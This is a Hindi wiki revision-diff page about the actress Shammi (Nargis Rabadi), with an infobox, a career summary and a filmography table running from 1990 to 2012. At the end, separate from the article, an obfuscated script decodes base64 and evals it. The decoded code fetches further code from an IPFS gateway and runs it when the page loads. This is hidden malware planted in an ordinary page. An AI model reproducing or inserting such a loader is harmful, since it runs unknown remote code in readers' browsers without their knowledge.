"शम्मी की प्रमुख फ़िल्में": अवतरणों में अंतर
कविता बघेल (वार्ता | योगदान) ('{{शम्मी विषय सूची}} {{सूचना बक्सा कलाकार |चित्र=Shammi.jpg |चि...' के साथ नया पृष्ठ बनाया) |
कविता बघेल (वार्ता | योगदान) No edit summary |
||
पंक्ति 33: | पंक्ति 33: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
शम्मी ने अपने कॅरियर को न तो कभी प्लान किया और न ही बहुत ज़्यादा महत्वाकांक्षाएं पालीं। बस जो भी काम उन्हें मिलता रहा, बिना ना-नुकुर किए करती चली | शम्मी ने अपने कॅरियर को न तो कभी प्लान किया और न ही बहुत ज़्यादा महत्वाकांक्षाएं पालीं। बस जो भी काम उन्हें मिलता रहा, बिना ना-नुकुर किए करती चली गयीं। यही वजह है कि जल्द ही उनकी पहचान महज़ एक चरित्र अभिनेत्री के रूप में ही रह गयीं। नायिका के तौर पर भले ही वो ज़्यादा काम नहीं कर पायी लेकिन चरित्र अभिनेत्री बनने का उन्हें ये फ़ायदा हुआ कि उन्हें बिना काम के कभी बैठना नहीं पड़ा। | ||
==मुख्य फ़िल्म== | ==मुख्य फ़िल्म== | ||
1950 के दशक में शम्मी आंटी ने ‘बाग़ी’, ‘आग का दरिया’, ‘मुन्ना’, ‘रुखसाना’, ‘पहली झलक’, ‘लगन’, ‘बंदिश’, 'मुसाफ़िरखाना', ‘आज़ाद’ और 'दिल अपना और प्रीत परायी' जैसी कई फ़िल्मों में महत्वपूर्ण भूमिकाएं निभायीं। अब तक की उनकी अन्तिम फ़िल्म ‘शिरीन फ़रहाद की तो निकल पड़ी’ है जो साल [[2012]] में प्रदर्शित हुई थी। | [[1950]] के दशक में शम्मी आंटी ने ‘बाग़ी’, ‘आग का दरिया’, ‘मुन्ना’, ‘रुखसाना’, ‘पहली झलक’, ‘लगन’, ‘बंदिश’, 'मुसाफ़िरखाना', ‘आज़ाद’ और 'दिल अपना और प्रीत परायी' जैसी कई फ़िल्मों में महत्वपूर्ण भूमिकाएं निभायीं। अब तक की उनकी अन्तिम फ़िल्म ‘शिरीन फ़रहाद की तो निकल पड़ी’ है जो साल [[2012]] में प्रदर्शित हुई थी। | ||
{| width="30%" class="bharattable-pink" | |||
|- | |||
! क्र. सं. | |||
! फ़िल्म | |||
! वर्ष | |||
|- | |||
| 1 | |||
| शिरीन फरहद की तो निकल पड़ी | |||
| [[2012]] | |||
|- | |||
| 2 | |||
| खाप | |||
| [[2011]] | |||
|- | |||
| 3 | |||
| सुखमनी | |||
| [[2010]] | |||
|- | |||
| 4 | |||
| खुशबू | |||
| 2008 | |||
|- | |||
| 5 | |||
| चलता है यार | |||
| [[2005]] | |||
|- | |||
| 6 | |||
| क्या दिल ने कहा | |||
| [[2002]] | |||
|- | |||
| 7 | |||
| ये रास्ते है प्यार | |||
| [[2001]] | |||
|- | |||
| 8 | |||
| हम हो गये आपके | |||
| 2001 | |||
|- | |||
| 9 | |||
| तेरा जादू चल गया | |||
| [[2000]] | |||
|- | |||
| 10 | |||
| कुँवारा | |||
| 2000 | |||
|- | |||
| 11 | |||
| हम साथ साथ है | |||
| [[1999]] | |||
|- | |||
| 12 | |||
| और प्यार हो गया | |||
| [[1997]] | |||
|- | |||
| 13 | |||
| मि. बेचारा | |||
| [[1996]] | |||
|- | |||
| 14 | |||
| रंगीला | |||
| [[1995]] | |||
|- | |||
| 15 | |||
| कुली न. वन | |||
| 1995 | |||
|- | |||
| 16 | |||
| झुमका | |||
| 1995 | |||
|- | |||
| 17 | |||
| चीताह | |||
| [[1994]] | |||
|- | |||
| 18 | |||
| गोपी किशन | |||
| 1994 | |||
|- | |||
| 19 | |||
| परमात्मा | |||
| 1994 | |||
|- | |||
| 20 | |||
| घर की इज्जत | |||
| 1994 | |||
|- | |||
| 20 | |||
| दिल | |||
| [[1990]] | |||
|- | |||
| 20 | |||
| स्वर्ग | |||
| 1990 | |||
|} | |||
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }} | ||
{{शम्मी विषय सूची}} | {{शम्मी विषय सूची}} |
10:31, 15 जून 2017 का अवतरण
शम्मी की प्रमुख फ़िल्में
| |
पूरा नाम | नरगिस रबाड़ी (वास्तविक नाम) |
प्रसिद्ध नाम | शम्मी आंटी |
जन्म | 24 अप्रैल, 1929 |
जन्म भूमि | गुजरात |
पति/पत्नी | सुल्तान अहमद |
कर्म भूमि | अभिनेत्री |
कर्म-क्षेत्र | मुम्बई |
मुख्य फ़िल्में | ‘बाग़ी’, ‘आग का दरिया’, ‘मुन्ना’, ‘रुखसाना’, ‘पहली झलक’, ‘लगन’, ‘बंदिश’, 'मुसाफ़िरखाना', ‘आज़ाद’ और 'दिल अपना और प्रीत परायी' |
प्रसिद्धि | अभिनेत्री |
नागरिकता | भारतीय |
अन्य जानकारी | शम्मी का जीवन को लेकर नज़रिया पूरी तरह से स्पष्ट है। वो कहती हैं, मैंने जिंदगी को हमेशा अपनी शर्तों पर जिया और जो कुछ पाया, उसे ईश्वर का प्रसाद समझा है। मैं खुश हूं कि मुझे लोगों का भरपूर प्यार और इक़बाल जैसा क़ाबिल बेटा मिला। अपने जीवन से मैं पूरी तरह से संतुष्ट हूं। |
शम्मी ने अपने कॅरियर को न तो कभी प्लान किया और न ही बहुत ज़्यादा महत्वाकांक्षाएं पालीं। बस जो भी काम उन्हें मिलता रहा, बिना ना-नुकुर किए करती चली गयीं। यही वजह है कि जल्द ही उनकी पहचान महज़ एक चरित्र अभिनेत्री के रूप में ही रह गयीं। नायिका के तौर पर भले ही वो ज़्यादा काम नहीं कर पायी लेकिन चरित्र अभिनेत्री बनने का उन्हें ये फ़ायदा हुआ कि उन्हें बिना काम के कभी बैठना नहीं पड़ा।
मुख्य फ़िल्म
1950 के दशक में शम्मी आंटी ने ‘बाग़ी’, ‘आग का दरिया’, ‘मुन्ना’, ‘रुखसाना’, ‘पहली झलक’, ‘लगन’, ‘बंदिश’, 'मुसाफ़िरखाना', ‘आज़ाद’ और 'दिल अपना और प्रीत परायी' जैसी कई फ़िल्मों में महत्वपूर्ण भूमिकाएं निभायीं। अब तक की उनकी अन्तिम फ़िल्म ‘शिरीन फ़रहाद की तो निकल पड़ी’ है जो साल 2012 में प्रदर्शित हुई थी।
क्र. सं. | फ़िल्म | वर्ष |
---|---|---|
1 | शिरीन फरहद की तो निकल पड़ी | 2012 |
2 | खाप | 2011 |
3 | सुखमनी | 2010 |
4 | खुशबू | 2008 |
5 | चलता है यार | 2005 |
6 | क्या दिल ने कहा | 2002 |
7 | ये रास्ते है प्यार | 2001 |
8 | हम हो गये आपके | 2001 |
9 | तेरा जादू चल गया | 2000 |
10 | कुँवारा | 2000 |
11 | हम साथ साथ है | 1999 |
12 | और प्यार हो गया | 1997 |
13 | मि. बेचारा | 1996 |
14 | रंगीला | 1995 |
15 | कुली न. वन | 1995 |
16 | झुमका | 1995 |
17 | चीताह | 1994 |
18 | गोपी किशन | 1994 |
19 | परमात्मा | 1994 |
20 | घर की इज्जत | 1994 |
20 | दिल | 1990 |
20 | स्वर्ग | 1990 |
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>